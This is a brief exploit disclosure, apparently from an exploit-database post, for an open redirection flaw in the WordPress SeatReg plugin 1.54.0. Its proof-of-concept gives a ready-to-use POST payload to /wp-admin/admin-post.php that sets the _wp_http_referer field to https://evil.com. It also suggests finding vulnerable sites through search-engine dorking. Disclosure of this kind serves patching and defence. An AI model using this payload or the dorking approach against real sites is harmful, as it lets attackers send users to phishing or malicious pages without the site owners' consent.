============================================================================================================================================= | # Title : WordPress SeatReg plugin 1.54.0 open redirection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits) | | # Vendor : https://wordpress.org/plugins/seatreg/ | ============================================================================================================================================= poc : [+] Dorking İn Google Or Other Search Enggine. [+] An Open Redirection is a vulnerability when a web application or server uses an unvalidated user-submitted link to redirect the user to a given website or page. [+] USe Payload : new-registration-name=dedeed&action=seatreg_create_submit&seatreg-admin-nonce=11b1308e8a&*_wp_http_referer=https://evil.com [+] POST /wp-admin/admin-post.php HTTP/1.1 Greetings to :============================================================ jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr | ==========================================================================